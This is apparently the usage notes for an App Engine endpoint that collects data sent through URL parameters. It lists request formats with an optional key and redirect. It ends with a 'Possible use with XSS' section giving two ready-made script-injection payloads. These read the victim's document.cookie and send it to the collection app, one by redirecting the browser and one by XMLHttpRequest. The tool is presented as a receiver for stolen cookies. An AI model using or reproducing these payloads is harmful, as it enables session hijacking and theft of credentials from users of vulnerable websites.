You could call it like this

With ALLOW_USE_WITHOUT_KEY = True http://application_name.appspot.com/?data_you_want_to_send or http://application_name.appspot.com/?redirectLink=http://google.com&data_you_want_to_send or http://application_name.appspot.com/?key=your_key&data_you_want_to_send or http://application_name.appspot.com/?key=your_key&redirectLink=http://google.com&data_you_want_to_send With ALLOW_USE_WITHOUT_KEY = False http://application_name.appspot.com/?key=your_key&data_you_want_to_send or http://application_name.appspot.com/?key=your_key&redirectLink=http://google.com&data_you_want_to_send Possible use with XSS "><script>window.location="http://application_name.appspot.com/?key=your_key&redirectLink=http://google.com&".concat(document.cookie);</script><input type="hidden" value=" or "><script>var request = new XMLHttpRequest();request.open('GET', "http://application_name.appspot.com/?key=your_key&".concat(document.cookie), true);request.send(null);</script><input type="hidden" value="